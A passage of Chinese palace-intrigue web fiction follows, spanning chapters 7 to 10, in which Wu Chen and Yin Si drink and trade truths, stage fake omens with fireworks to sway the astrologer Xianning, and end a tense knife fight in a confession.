“殷思,你甘安于此吗?”,巫辰突然问道,语气郑重认真。
殷思却自嘲笑道:“不甘,又能如何?”
“真相,我要查清;阻碍之人,我要杀干净。”
“那时,再无不甘。”
“想如何。都、无、碍。”
殷思只道:“好。”
同盟应是达成,其余,还未可知。
7. 醉酒(上)
月下殿前,钦天监庭院内,餐席上。
殷思正仔拨着鱼刺,仙宁在一旁满脸期待与赞赏:“谢谢小思,你人真好!”
“不客气的,大人。”
“哎呀,我没客气的,你太客气了,叫我仙宁就好!”,仙宁说着又真切得笑起来,巫辰每每见她笑,都觉得很真,她应是真的开心罢。
仙宁转脸又过来烦起巫辰,兴奋道:“阿辰!你为什么不吃鱼,这个特别好吃,快吃快吃,给————”,说着将碗内已拨好的鱼肉朝巫辰碗中丢着。
“不爱吃。”,巫辰只淡淡道。
仙宁吃了瘪,也不认输,撇嘴道:“噢!那给我吃好了,不要浪费。你知道吗?都说吃鱼可以变聪明呢,你不要脑子给我长!”
“……”
一旁的殷思却轻笑一声,带有嘲笑意味笑,很容易便被巫辰捕捉到,朝他瞪去。
“笑什么。”
殷思微微抬眉,一脸事不关己,继续拨着刺,只道:“无事。”
“嗯?怎么啦?”,正埋头苦吃的仙宁也抬起头来,仙宁在察觉两人间气氛不对劲上,造诣极高。
“这个也剥好了,吃罢。”,殷思最后一盘鱼肉放至仙宁身前。
“嗯嗯嗯嗯!”,仙宁点头应着,随后似是猛然间想起极重要的事,道:“话说阿辰,认识你很久了,为什么从不喊我的名字呢?”
“……”,巫辰不知如何回答,虽是从不抗拒仙宁突如其来的热情,但不像是完整全名的“名”,喊起来,确是过于亲密了。
“哦!我不是说你没有礼貌!我不是这个意思!”,仙宁见巫辰不回话,忙解释道。
见巫辰不像是生气或是不快的反应,接着歪头盯着巫辰看,继续追问着:“你是不是不好意思呀?”,说罢索性凑到巫辰眼前,期待回应:“嗯?嗯嗯?”
“……”
“快吃吧。”,殷思道,似是见巫辰不愿回答。
“诶等等等等,阿辰,你多大年纪呢?”
“十八。”
仙宁笑道:“哦!看着不像呀。我竟长你一点点呢!”
“那不该不好意思呀,我也算是长辈呢!还不好意思的话,叫我声姐姐也是可以的!”
“……”,又是一阵沉默,巫辰一直对哄孩子聊天,毫无兴趣。
殷思问道:“大人,那你觉得,她看着像多大年纪呢?”
“嗯……整日满脸深沉的,话也少,显老显老!要我看,应是三十有余呢!”,答得倒是实在。
殷思眉梢轻扬,轻笑间眼底抹开笑意,引人注目。
“无聊。”
相处间,殷思总在频频打趣着,在巫辰看来,难听的话最易借仙宁之口说出,他定有什么低级趣味。
这好东风,巫辰也是定要借一借的,对仙宁问道:“你看主簿大人,多大年纪。”
“小思嘛……十六七?有吗?”,仙宁认真答着。
“哈哈哈……我看着竟是这么年轻吗?”,被夸年轻,自是开心的。
仙宁仔细斟酌半刻,却道:“那倒不是,只是你看着比较弱不禁风而已!他们都说年长的男子,应是看起来很厉害的!”
“……”
殷思却笑不出了,巫辰低头掩笑,却被仙宁捕捉道:“嗯?你笑什么?”
“才说到年长的男子,阿辰你喜欢年长的男子吗?是吗?”
这下更不好笑了。
“怎么不笑了?”,殷思接下话茬看向巫辰追问着。
巫辰冷冷道:“不好笑。”
仙宁却是突然间反应过来:“小思你问了半天!我猜对没有?你多大年纪呢?”
“二十四。”
“哦,那你们两个还真是小朋友呢,我前两月刚过完二十五岁生辰的!”,仙宁满眼自豪道。
殷思正喝着茶,却被呛到。
两人对视都觉奇怪,仙宁的年纪明明看起来只有十四五岁,往大想也不过十八九。
“大人莫不是记错了?”,殷思试探着问道。
仙宁却道:“怎么会呢!我多大岁数我当然清楚了!观里的道长们也都知道呢,怎会有错。”
“哎呦……说了老半天,饭都凉了!还怪冷的!”
在旁的侍女此时询问道:“大人冷了吗?前些日子圣上差人送来的‘暮霭意’,说是最适寒秋饮下,可要拿来暖暖身子?”
“……嗯,倒是有些不舍得喝呢……陛下待我极好的,我却没什么东西可赠他的。”,仙宁却有些忧心道。
巫辰只低头摆弄着酒杯,似是在思考些什么。
席间又是一阵沉默。
“宁大人很喜欢陛下呢。”,一旁的侍女笑道。
“……诶,不要生气呀。我其实最喜欢你们两个呢!”,仙宁却是小心翼翼解释着,随后补充道:“去把酒拿过来吧凌云!”
“是。”
“再添些炭火。”
“是,主簿大人。”
虽是听闻仙宁为圣上亲封国师,是否有其他原因,一概不知;若能寻得由头,掌握更多的有用信息,日后布局只会事半功倍。
殷思试探问道:“大人,为什么很喜欢陛下呢?”
“他送我很多好吃的好玩的呢!还封我做大官!而且……而且很是亲切的!”
亲切,什么算是亲切,巫辰难以读懂。
“那仙宁的姓氏,是什么呢?”
“姓氏?没听过……我没有姓的!”
“大人是从小,便叫仙宁吗?”
“嗯……差不多吧,应是叫这个的……吧?记不清了,名字都是身外之物,看不清的!”
“为什么觉得陛下亲切?”,巫辰终是开口问道。
仙宁却也不愿再答:“你……你们......问这么多做什么?好奇心这么重吗?老大不小的人了。天机不可泄露懂不懂?吃饭!”
侍女从旁倒酒。
“请用。”
侍女补充问道:“大人,过些日子咱们要到东方府重阳宴去,可需做些什么准备?”
“啊……宴会啊……不去。”,仙宁满脸抗拒,似是极为不喜。
殷思道:“大人不去吗?朝中官员都应参加的。”
“不去不去不去!我最是不喜人多的地方了……人一多……讨厌我的人便多起来了。”,仙宁满脸失落,被讨厌,其实都是能觉出来的。
侍女凌云恭敬问道:“大人若是不去,陛下会不会怪罪呢。”
“啊……我看看……”
说罢,仙宁拿起盘中一个团子,置地上粘了些沙土,拾起来后拍了又拍,而后仔细瞧着上面沾染的点点细沙组成的图案。
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豁然开朗道:“无事!陛下不会怪罪!不去咯!”
“可是大人……”,凌云继续追问。
殷思打断道:“你先下去吧。”
“是。”
片刻无人讲话,仙宁有些尴尬,率先开口道。
“你们知道吗?从前在观里的时候,每每参拜祭神时,他们都喝不过我呢!”,说罢将杯中烈酒一气饮个干净。
“可谓是千杯不……”,话未说完,便倒在桌上。
“大人?”
殷思试探道:“大人?”
巫辰却是直接拿出短刀欲试探,这次,是不是真的睡着。
殷思拦住即将动手的巫辰,小声道:“你这是做什么;她若不知道也就也罢了;若是……”
“若是装的,便是有问题。”,巫辰只冷冷道。
殷思认真得看着巫辰的眼睛,道:“倘若仙宁知道,你这般不信她,讨厌你呢。”
“无所谓。”
“真的无所谓吗?”
“……”,巫辰沉默,无法回答,片刻后问道:“现下皇室的字辈是什么?”
殷思道:“……取日字为头,皇子为‘晚’,公主则为‘显’。”
“承显宁?”
“这……未免也太明显了吧。”
“明显怎么了。”
“你们取化名的,都喜保留一字吗?”,他又在含沙射影般点人了。
无聊至极的人。
“……”
“凌云,把大人扶回去休息。”
“是,公子。”
对月愁,又是一阵长久的无言,殷思只自顾自饮酒,寒宵未休,两人都是难以读懂对方的。
更甚连自己,也未读懂。
只得于秋风瑟瑟中,无限远离对方,同坐孤斟,却只与星作伴。
“这酒不错的,尝尝。”
巫辰却无意,没好气道:“公子好雅兴。”
“嗯,大人怎么的唤我殷公子了,好不习惯。”,也不顾巫辰的白眼,仍不放弃:“巫大人同我玩个游戏怎么样?”
“什么。”
“一句虚言,一杯酒。”,殷思举杯示意,随即道:“我们轮流问对方一个问题,若是答不出或是不想答,罚酒一杯。并且只可说真话,不能说谎。”
“如何知道是真话?”
“无需知道,说出来的,便都是真的,也不可不信对方的话。”
对面的人,眸含星斗,笑起来,意味却是悠长且晦涩难懂的。
巫辰其实不讨厌他,却也实在信任不起来,不过他应是时常能懂,自己的弦外之音,倒不算傻。
勉强对话,还可以做到。
月悬中天,只是秋日,便已霜华满地,往日的夜晚,巫辰的孤影,散落满地,寻不得方向。
巫辰不知何为思念,心情只是郁结于心中,难以化解。
离恨苦,更不是三言两语,能道清;愁思晕染,伴月长,往后多一人,也无所谓。
“全凭自觉?”,巫辰问道。
“对,全凭自觉。”
“好,殷公子先问。”
“巫大人这么客气的。”
“你问不问。”,巫辰不耐烦道。
“你喜欢什么颜色?”
什么破问题,有病,不好玩。
8. 醉酒(下)
“你喜欢什么颜色?”
“……”,巫辰只是不言,盯着他的眼睛看,在乱想些什么呢。
“不回答,要罚酒。”,殷思举起酒杯,杯中酒,颜色清淡,所映月光于杯中轻晃,无暇回应,思绪已然飘远。
殷思应是穿淡色好看的。
总穿红色干什么。
“……红色。”
殷思似是得到满意的回答,示意巫辰发问。
巫辰问道:“为何认得我的刀?”
“见过。”
“见过一次便认得了?”,巫辰急着追问。
“这是下一个问题了,多问,也要罚酒。”
巫辰被惹恼,随意拾起手边一个团子,向殷思砸去,正中肩头位置。
“诶.....怎么玩不起。”,殷思轻拂着团子于衣上留下的点点白面,看着巫辰笑道。
巫辰却是捏着手里的团子,想起才用团子沾尘模拟天象测算,若有所思道:“模拟天象......团子可以、叶子可以,那别的也可以。”
“伪造天象,诓仙宁去重阳宴?”,殷思似是读懂。
“诓骗吗?有点难听。”
“不是诓骗吗?不如你像往常一样,把刀架在她脖子上,逼她去。”
巫辰又砸出一个团子,殷思还是没躲,笑道:“我来想办法。”
“嗯。”
“那继续?”
“你还没喝,当然继续。”
第二个问题,殷思开门见山道:“你为何杀陈湘娩?”
“因为梦魇。”
巫辰多年来头一次说出梦魇相关的事,答句中也没有任何多余的解释,应是不愿多加回忆的。
多想一刻,便会被重新拽回仅有恐惧存在的一片黑暗之中。
巫辰从未怕过什么,应是因这恐惧,已于梦魇中,消耗殆尽。
“……”
“怎么不问?”,殷思察觉道巫辰不自然的神情,似是关切。
“没到你问我,公子请。”
“……”,殷思自知出错,饮下一杯,却不觉苦涩。
巫辰发问道:“你月俸多少?”
“啊?”
“多少?”
“嗯……八两?还是……六两的,我还未看。”,殷思一副从不缺钱的样子。
“……”
殷思接下上个问题的话,饶有趣味得问道:“侍卫使大人缺钱吗?”
巫辰只得如实回答:“嗯。”
“......殷思,为什么不作为。”
“......”,对面的人,低眉沉默片刻道:“因为害怕,我已无筹码,没的可赌......”
“所以躲起来,装作听不见、看不见、说不了。”
巫辰却也丝毫不留情面,直言不讳道:“顶着世家的名号,说着已无筹码?你在怕什么呢?怕死吗?......置身于朝堂,一切旋涡的中心,竟会想着苟活怕死吗?”
“嘘......”,殷思没再回应。
「生气了吗。」
而后却突然伸手以食指置于巫辰唇间,指尖,有酒香。
「可能醉了。」
巫辰没有动作,只是看着他:“干什么。”
殷思收回手,却又低头,似是思索半晌,抬头只道:“到我问了。”
因适才低头,额间发丝,乱了。遮住过半的眉眼,有些难以看清神情,开口问道:“展颜辰,原先符禺岗的是不是展家私兵?”
居然知道符禺岗的事。
“不是。”
“那是什么,当年文定帝就是因符禺岗......那儿净是些……”,殷思语速渐慢,似是不解、不信。
“喝完,我回答你。”
倾酒入喉,淡色银线沿一点深红滑落至脖颈深处,酒意尚未被熄灭,对面的人只是静静盯着巫辰,喝下三杯。
再次确认道:“符禺岗的,是什么人?”
“流民。”,巫辰答道。
“......怎会是流民。”,说话间,又饮下一杯。
“确实是流民,是会武的流民,都是当年我娘亲自救活的。”
“好笑......哈......”,说罢便自顾自得低头笑起来。
「好笑吗。」
「有病。」
“展颜辰,展家到底在做甚么?你.....到底是什么人?”
“......展家,已毁,什么都做不了了;我,是已死之人”
“......”
巫辰问道:“殷思,你能帮我到何种地步?”
“哈?......到......死,可以吗。”
“没的问了,结束了。”,巫辰起身便要走。
却被殷思猛然拉住,“最后一个......你生辰是哪日?”
“......”
巫辰低头看他,眼中已有半分迷离,醉意朦胧中,还在等回答。
“十月初七。”
殷思已半趴于石桌上,气息平缓,很静,左手却依然紧紧拉着巫辰。
「可能没听到吧。」
「算了。」
巫辰也无心试他是否真的睡着。
鬼使神差般退回半步,盯着殷思颈间朱砂痣,竟微微发愣,或许同样是醉了。
指尖轻触一点红墨,温热之感传遍经络,和自己的血一样,在发烫。
恍惚之间,眼前人,绯红已蔓延至耳根,确实是醉了。
冷月洒下,再无微凉之感。
......
梦回惊起,血影残留于眸中,血腥之气犹绕鼻端,心内惶惶。
「真不该睡觉的。」
夜凉如水,星子隐于墨色苍穹,屋檐之上,只是孤身一人。献都的辰星远不及洛川清晰的,越是接近权利漩涡的中心,迷雾漫漫,谜团待清。
寻得值得信任的人,太难太难。
巫辰察觉响动,是殷思。
「又是殷思。」
“真不巧,扰了公子与人私会。”,待旁人走后只剩殷思一人,巫辰直接开口道。
殷思抬眸望见檐上的人,道:“失策啊,被你发现了。”
“嗯,果然如传闻中所言。”
两人都未动身,只是隔着老远,说着话。
殷思问道:“什么传闻?”
“献都城第一的风流纨绔,非殷公子莫属。”,巫辰语调抑扬顿挫,似是反复强调。
风拂过,他的发丝随风而动,却未辩驳,只知道:“确是不假。”
“殷公子真的日日逛花楼吗?”
“......能别叫我.....呃,别叫我公子,很怪。”,说着再不愿与巫辰对视,只是抬眼,望着朦胧星夜。
“……”
巫辰直言道:“刚才的什么人。”
“在花楼的线人。”
“这就说了。”,如此痛快的回答反令巫辰不解,似是想到些什么,补充道:“前日
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的酒力,还未过?还是只敢说实话?”
殷思未回答,只是岔开话题道:“你应是也不清楚,自己为何会在缙华堂吧?”
“嗯,看来有人,可只手遮天。”
眉间微蹙,却道:“抱歉......如若早些......”
「在可怜我吗。」
「有点可笑。」
巫辰最是反感所谓的抱歉,没有意义的话,她很不愿多听。许是因清风,或是因明月,拂过愁绪,竟也不觉得恼,只是道:“无所谓。在缙华堂,让我有事可做,不至于忘了过去,成个废人。”
“方才得到消息,冷家人被刺,只是这次未成,还是展家毒。”
“只这一件?”,巫辰试图追问更多消息,有关皇室或是兄长的。
当年展家被牵连谋反一案,前太子阵营一举覆灭,唯一最大获利者,只能是普天之下地位最高的,那一人。
“其余的,暂且保密。”,殷思并未多说。
巫辰却突然道:“这颗星星,变淡了。”
“倒不可惜,它可能累了,不想亮了,所以暗淡了。”
“……”
「有道理。」
“过几日千灯节,可用烟花伪造天象,哄仙宁去宫宴。”
“嗯,你真有耐心,变着花样哄仙宁玩。”
殷思轻笑道:“不是你要哄的吗,用刀威胁,你又不肯。”
巫辰仅盯着他看,道:“刀还是留着,需得必要时威胁你。”
......
其实每每交谈过后,巫辰都自觉,与他,说得太多了。
两人皆是,从未将任何话讲清,于红枫下的初识,秋风入林间,悄然而动,不见其形,只闻其韵;却仍是难以承载多年遭遇下久积的风霜。
「若有一日,辰星黯淡无光,定是它累了、倦了。」
多年来无聊的日子里,若没有恨意在心中,定是渐渐蹉跎荒废下去,如行尸走肉般度日。
于钦天监的日子,巫辰发觉,有意思的事,竟有许多。
听仙宁滔滔不绝得说着,那些不曾有过名字的星星,有过怎样的故事......
鲑鱼的十八种吃法......
鲑鱼如何摘刺,最快......
还有,星星也会觉得累......
心情,巫辰仍然不懂,也不想懂。
在意的越多,如果没能力保护,失去时则会不舍、懊恼或是悔恨。
......
千灯节时人若微蚁,长街十里闹声传,华灯明如昼,只见欢。
烟花表演处旁正生意惨淡的茶铺内,殷思正坐着,淡然饮茶。
“公子……怎么这么多……目标太大了很难换的。”,初鸣抱怨道。
殷思交与他的烟花筒,竟足足有二十几个......
“想办法换。”,殷思只是淡淡道,没有商量的余地。
初鸣继续软磨硬泡:“您这不是为难我呢……这么多拿来拿去,会被人以为是偷东西……”
“初鸣,你拿我的东西到缙华堂的事,我还未找你算账。”
“别别……公子,我知道您最好了!定是不会在意。这就去了……保证完成!”,只得抱着一大框烟花筒跑去烟花表演筹备处,一点一点得换,一连跑个七八趟,早已汗湿衣衫,尽显偷窃之感,滑稽得很;殷思只是在旁看着,倒也算有趣。
会集内市井喧嚣,人影幢幢,仙宁正缠着巫辰到处玩着。
9.千灯节
会集内市井喧嚣,人影幢幢;食肆客纷纭,吃的玩儿的应有尽有,熙熙攘攘间,仙宁正缠着巫辰到处玩着。
“诶!我想吃这个!”,仙宁兴奋道,只是死劲拽着巫辰往食铺前凑。
“好。”
下一刻又闻出炉酥饼,香雾绕绕,仙宁也被吸引过去道:“这个也要吃!帮我拿着!”
“……”,巫辰只得被拉着满处跑,不时惹来其他食客注目,有点尴尬。
“老板,这个怎么卖的!”
店家笑着答道:“小姑娘,十文一包的。”
“来两包!诶……来三包吧,给小思多留一点儿!”
“……已经够多了。”,巫辰在旁无奈道,仙宁已是买了不下十样,但皆是尝个一两口便丢给巫辰拿着。
仙宁扯着巫辰衣角道:“要嘛要嘛,我们拿回去,分给大家一起吃……好不容易出来一趟!”
“嗯。”,巫辰也只好答应。
“你还拿得了吧!”,仙宁又弯着眼睛笑起来,头上钗环叮当清脆,与街市的喜闹极搭。
“……拿得了。”,巫辰已是两手占得满满。
“呜呜呜呜……你真好!这边儿看看!快来快来……”,仙宁又跑到一旁钗饰铺旁。
说着便拿起一支银钗,戴到巫辰头上,“来试试这个!”,巫辰已无空手可组织动作,拒绝的话也还未说出口。
发如墨,银钗斜插于发间,雕饰细腻却未显繁重,极适合巫辰未经粉饰的淡漠神色,仙宁一时间有些看呆住,而后又毫不吝啬得夸赞着:“阿辰你戴它很好看……老板,这个我们要了。”
“就是你今日……穿得嗯……太黑了”
仙宁又是那副满脸可惜的样子,撇嘴道:“出来玩不穿得明艳一点儿吗?你才十八诶,挺漂亮的一个小姑娘,整日那么老成……不好不好!”
“……”,巫辰未作回应。
到与殷思约定好看烟花的地点,仙宁挥手招呼着:“诶!小思!我们来啦!”
殷思老远便见巫辰抱了一堆吃的玩儿的,一看便知是仙宁吵着闹着要买的,只是一抹淡笑拂过,见人走近,丝丝涟漪,却又转瞬即逝。
仙宁吵着道:“小思你知道吗!这里的吃的竟比钦天监的还好吃!虽未强过百倍,十倍却有呢!”,殷思边听着仙宁滔滔不绝得分享着适才的见闻,边一件件接过巫辰手里的东西。
“公子!”,初鸣总算勉强完成任务跑来。
殷思眼神示意初鸣不要说话,顺手又将才接过来的满手东西一气儿塞进初鸣手里,仅留一盏六角方灯。“诶......拿不下了拿不下了公子!......净欺负我的,哎呦.....”
......
焰起惊鸟,光伴星河入云间,瞬时间,星如雨,繁华落满城。
“快看!开始了开始了!”,仙宁看向绽放的烟花。
赤焰腾空,烟花散绮罗,星火燃长夜,烟花竟多是红色的焰火。
一旁的观客虽大多是赞不绝口,却也有议论纷纷:“怎的千灯节不用金色焰火了......甚是少见!”
“说得是啊.....诶,还有这一束,竟有些许像枫叶的!”
“确实呐......只是有的,怎的歪七扭八哈哈哈哈哈......看来是店家偷懒咯......”
初鸣听着只得在旁心虚冒汗。
殷思却是自在,烟花盛处流光璀璨星河落幕,眉间意未央。
巫辰心思却只在仙宁身上,正待她发现异常之初。
一束烟花焰火呈异象,似是夜幕沉沉,孤星独照,光芒凄清冷寂,乃帝王无依的凶兆,预示帝王将陷入孤立无援的困境;紧接着又是妖星闭月,帝后不合之兆,焰火虽是转瞬即逝难以察觉,但对仙宁来说却是极为明显的暗示。
“不妙......是妖星闭月和孤星独照,陛下许......许会因皇后遭不测......”,仙宁顿时焦急道。
“得快传消息给陛下!”,反应过来后再补充道:“不行!我得去见见陛下!.....这可怎么办啊......”
“过几日重阳宴,便可见陛下......”,殷思暗暗提醒道。
“对!对对!那我要去的!定要去的!”,仙宁着急道。
仙宁一时发愣,不料此时一旁打铁花的表演中铁水迸溅偏离原定位置,铁屑纷扬顿时向仙宁的方向过来,巫辰察觉却无其他掩体可用,只得用身体阻挡,眼看烈焰星光即将落到巫辰身上。
哗————————
眼前的仙宁神情却未觉害怕,竟拍着巫辰道:“哇......阿辰快看......”
巫辰回身看过去,火树银花中竟是盏方灯,华灯急旋转,周边焰火随之翻涌,星霞散落处星子一同坠于风间,光晕照眼。
转瞬间,灯盏烧毁,只留微光缭绕,似雾遮眼、蒙心。
“好厉害......”,仙宁一般说着边看向抛出灯盏的殷思。
殷思只是关切问着:“可有伤到?”
“无事......”,仙宁似是仍在想着方才的天象,显然心不在焉。
巫辰却注意到,可催动物品脱手后浮空数秒,定是内力不凡,与殷思往日气息上所感的内力,大相径庭。
他可隐去内力,且是,刻意隐藏。
远处喧声肆起,闹市忽成纷扰之地,人头攒动间只听众人纷乱说着些什么。
“哎呦,说那边儿又有刺客现身了!”
“这献都城.....是要大乱了啊,怎的频频出现人命呢!”
“谁说不是呢!这若是乱起来了,先遭了苦的,还不是咱们平民老百姓!好在这刺客只杀名门贵族的,咱们这小命呐,暂且还能保住!”
“谁啊?谁又被刺了?”
又是有人被刺,献都城内短时间已是发生多起。
“......说是这.....李公子,对!监察御史之子呢!”
“这......”
监察御史李郁野,有关总选当日的李四公子,李鹜。
“李鹜......”,殷思听得议论,小声念着。
巫辰却直接问道:“那日去过缙华堂的?你朋友?”
“......”殷思并未回答。
人群中忽有人喊道:“我靠......那边儿什么情况?”,只见骚乱间官兵正行使抓捕。
一女子奔步疾飞,身上衣裙凌乱染血,微尘四起,后方频频乱箭欲将她逼停,终是一人难以敌众,官兵追上后将她死死按在地上,手上动作猛又快。
“死娘们儿!胆子真大!”,领头的官兵怒道。
“......”,被按住的女人死命挣脱却未有任何吃痛地叫喊。
“按住了!带走!”
“是。
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”
仙宁被吓得不轻,语气满是恐惧不安:“完了......全完了......真是要乱了,不妙啊.....呜呜呜呜呜......”
“快......我们快回家,阿辰......我害怕......”,只得紧紧拉着巫辰。
巫辰却是微微发愣。
似是许久未有的,有关梦魇之感。
“怎么了?”,殷思注意到巫辰的不对劲,问道。
巫辰并未理会,护着仙宁离开。
“走。”
“呜呜呜呜.......快走快走......”
殷思嘱咐道:“初鸣,去给李鹜那儿,传个消息。”
“是,公子。”
街市的热闹一扫而空,留给城中人的,仅有恐惧与忧心,频频出现刺杀官员之事,献都乃至大苍,皆不再安宁。
......
银杏参天临屋驻,巫辰住所之外。
落叶已积得极厚,碎金满地,秋霜染画屏,殷思于屋外,忧心驻足。
轻敲门楣,“巫......”,话未说完便被寒光截断,巫辰的短刀瞬间置于眼前,殷思侧身躲避抓住她的手,却被巫辰使力拽入屋内。身体被抵于门上,仅有左手尚有余力抵挡巫辰手中的刀刃。
“......你这是做什么。”,殷思紧盯巫辰眼睛,只觉冰冷,饱含杀意。
她的样子看起来却些许不对劲,殷思忆起先前巫辰提到的梦魇,怕是同总选日刺杀陈湘娩一般,遭梦魔吞噬神志。
见巫辰朝着右臂抓来,随即躲闪,巫辰左侧卸力,似是微微走神,殷思挣脱。
对面之人手持短刀,刀刃于月色下泛着幽光,巫辰猛然进攻一刺,刀锋划破寂静,殷思只得侧身闪避,顺势欲借力打掉巫辰手中短刀,怎料她腕间轻转,短刀横向扫过,殷思脚下步伐一错,向后跃开。
巫辰似是早已看准时机,多次只朝殷思无法使力的右手破绽处进攻,巫辰出招速度过快且几乎毫无章法,难以预判,殷思已逐渐落得下风。
怎的好像是清醒的。
殷思佯装攻向她门面,待她待其举刀抵挡之时,右臂手肘探出,紧紧扣巫辰手臂于立柜侧边,力度稍大,巫辰手中短刀却未吃痛脱落。
巫辰左手一转直接拉住殷思右手手腕,正欲用力试探之时,殷思被对面人的动作一惊,急速反应以立柜侧角借力使力,一个过肩巫辰被狠狠摔于桌前。
木桌不堪重击。
轰——————
木屑纷飞,桌几碎成数片,散落一地狼藉。
巫辰似是经得一摔微微愣神,殷思也看出她应是无事,自己右手手腕被触碰间下意识的反应大力伤了她,正感难忍。
得知巫辰未受梦魇影响却处处以致命攻击袭他,顿觉,委屈。
「不为别的......只想打我吗......」
眸蕴泪意,眉蹙似含愁。
殷思试探着移步至巫辰跟前,“我......我不是故意......”,话未讲完,便被巫辰突如其来的一脚踹出门外,风乍起,殷思直直摔至院内金风堆中,叶乱,银杏饭费乱旋。
殷思一时间大脑全然置空,勉强以手肘撑于地面,喉间一甜,殷红血沿唇边淌下,无尽黑夜浸染深红,目光中满是不解与委屈,巫辰去只是慢慢走至他跟前,眼中仅有无限冷意,冻人心魂。
10.他又哭了
眼前人断珠难续,风卷衣袂,眸中情绪也很快被吹散。
「哭什么。」
「莫名其妙。」
巫辰缓缓走向他,虽有不解却并未表露,不过是试探,居然哭了。
巫辰率先发难,短刃破风招招致命,殷思是眼角泛红,心绪稍受影响,但反应速度却未落得下风。每次躲避与反击皆随风而起,似是将要吹散浓重杀意。
停滞间,殷思蹙眉看向巫辰,认真问道:“真想杀我......”
“杀你千遍万遍。”,巫辰终于做出回应。
语闭后又是猛扑而去,“都不够。”,两人周身的枯叶被惊扰,纷纷扬扬散落四方。
“这不好吧......”,面对狠厉的话语,殷思却仍是小心翼翼得回问,交锋间滴泪泫然,巫辰竟一时间愣了神,殷思瞬时捕捉到她放缓的动作,一把将巫辰的短刃打飞。
二人空手相斗,却招招凌厉,然瞬息之间,秋风微牵发丝,发丝下凛冽的目光致使殷思乱了分寸。巫辰乘势而上制住殷思,紧扣眼前人脖颈,脱力一齐栽倒于枯叶之上。
回神间殷思已被巫辰死死压在地上,气息渐促,眼中尽是不甘与......
......像是伤心。
「怎么又哭了。」,巫辰内心无奈又不解。
“为什么?”,巫辰虽是疑惑却并未放下手下力度,突然发问道。
殷思发声困难,只是微弱得回应:“......什...么......”
“为什么帮我?”
“我......”,殷思反应间徒留双手紧紧攥住她的手,试图挣脱束缚。
巫辰则是更加用力,继续说道:“明知我不会成为你的刀,对你无用。”
“帮我,在图谋什么?”
“......”,殷思已然难以出声。
巫辰却紧盯他的眼睛,笑道:“哈......可怜我?”
巫辰平生最厌被可怜。
“没有......先放开我.....行不行,听......听我说。”,身下人眸中含泪,月光下泪光潋滟,星子坠入幽潭涟漪未起,再寻不得踪迹。
似在极力压抑满心的委屈。
巫辰见状松开他,却又即刻换手以小刀抵住他一侧脖颈。
“咳咳......咳咳咳。”
“说。”,巫辰冷冷道。
殷思调整好气息,开口道:“你敢争、敢杀.....我却不敢。”
“这么多年,我只躲在这儿,做缩头王八哈哈哈......”,说罢似是自嘲得笑起来。
“......旁人骂我,厌弃我,却为一个‘殷’字,还在.....还在敬我......”,月光落在他身上,双肩微微耸动,极力压抑的响声于静谧的夜里,格外明显。
“哈哈哈哈哈.....哈哈.....”
“真可笑啊。”
一阵又哭又笑却使巫辰开始发懵。
“我也喜欢红色.....但无人在意,只你会问,问我是不是喜欢......”
“......”
“旁人如何看,无所谓......我只想活得,像个活人.....就够了。”
“同你一起,我能清楚感知到,我还活在世上。所以帮你......不过......不过是以你之名,逼自己清醒得活着、生动得活着。”
「生动得活着吗......原来在旁人眼里,我有在好好活着......」
“这样,可以吗?”,殷思最后认真得问道。
巫辰听过适才的话,微微走神,接着问道:“.....为什么,隐藏内力。”
殷思却突然大声道:“我说了我害怕。”
“......我能借殷氏之名横行献都,殷氏也会因我一人,被疑心。”
“你要杀我,可以。”
“但不要在说不清道不明的地点和时间,杀我。”
“还有......你想清楚,现在......只有我能做这些,杀我对你无益。”,话语间竟未有威胁之意,只有试探和些许的祈求。
“懂了吗?”
沉默片刻,殷思依然平静得看着巫辰的眼睛,口中溢血神色却未显痛苦。
巫辰试探殷思颈间经脉,原是他自封心脉,现下只是无法再动弹,应是无事的。
“......”
没再言语,巫辰收刀,起身离开。
......
夜笼寒秋,叶影斑驳满地愁,殷思闭眸,只是静静地挨过一整夜。
朝阳撒进院落,第二日。
“嗯?小思?”,仙宁踩着满地枯叶,发出咯吱咯吱的响声。
疑惑地看向仍躺在地上的殷思,问道:“你怎么在这儿躺着呢?真奇怪......在赏风景吗?”
“嗯。”
“什么风景?好看吗?”,说罢躺在殷思旁边,细细寻找着风景。
殷思只是淡淡道:“好看,很好看。”
“真的诶!......叶子全是金色的!”,仙宁双手接住风中飘落的银杏叶,再将它们聚拢、吹散,残叶归至金风中,无影无踪。
......巫辰在一旁,无言,却愁绪肆起。
......
星汉迢迢,夜幕沉沉,星光幽微却繁密,钦天监观星台上,仙宁正静观远星。
见巫辰进来,仙宁热情招呼着:“嗯?你来了阿辰!”
“难得做正事。”,巫辰淡淡道。
仙宁语气夸张道:“.....诶,说得那么难听做什么!虽然偶尔才做,但是一做,便是关乎整个国家命脉的大事呢!千灯节那日我看到一个孤星独照,非常不妙!”
随后似是怕巫辰未懂,只好小声补充道:“皇后.....有问题!”
“......”,巫辰并未回应。
“诶.....你居然不好奇吗?”,仙宁大受震撼,震撼居然有人听到有关大苍的此等重要事件,会不为所动。
“好些了吗。”,巫辰突然问道。
仙宁却是仍沉浸在震撼之中,尚未反应过来,反问道:“什么好些了?”
“不是被吓到了。”
“唉!那算什么!我堂堂国师大人,岂能轻易被吓住!更何况,还有你保护我呢是不是!是不是你被吓到了?不要害怕不要害怕,你从前总是闭门不出,有所不知,现如今的世道,就是这般乱的。所以才需要我这样的,伟大的国师,来为大苍排忧解难!规避一切可能出现的不妙!”,见仙宁的滔滔不绝,巫辰确认,她确是已然无事。
“阿辰你看,今夜太白星光芒异常,横穿天际,似是经天凶兆,前朝或有内乱发生......唉.......陛下曾交代,若无事,不要见他。前几日听闻,陛下抱病.......朝中可能会有不测。”
“......”,巫辰却只在发呆,乱想些别的。
例如爱哭的殷思,在敬过司见他时,好像也莫名其妙得哭了。
仙宁发现巫辰并未听自己讲话,生气得拽了拽她的衣袖大声道:“在和你说正事呢!居然在跑神儿.....”
“.....
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.”
巫辰只在想殷思的话,自己往日无意之举,竟会引得他频频的古怪行径。
想要远离,不愿生出,多余的事。仅需有用之人,而非多事之人。
只得无数遍提醒自己,需时刻清醒得谋划,孑然一身得活着。
“未来,你真的不关心吗!”,仙宁仍不放弃,拉着巫辰问个不停。
“不关心。”
仙宁撇嘴道:“......切,你懂什么!”
“抓在自己手里,不好吗?”
巫辰从不信所谓的“命”,只知命需掌握在自己手中,所谓的因果轮回,命定之事,她丝毫不感兴趣。
“什么.....什么抓在手里啊!真奇怪.....哼,真搞不懂你阿辰!我找小思去玩儿了!他最信我的话了!”,说罢似是想起极为重要之事,大喊道:“啊!完了!忘了叫小思过来......谁帮我记刚才的天象......啊啊.....糟了。”
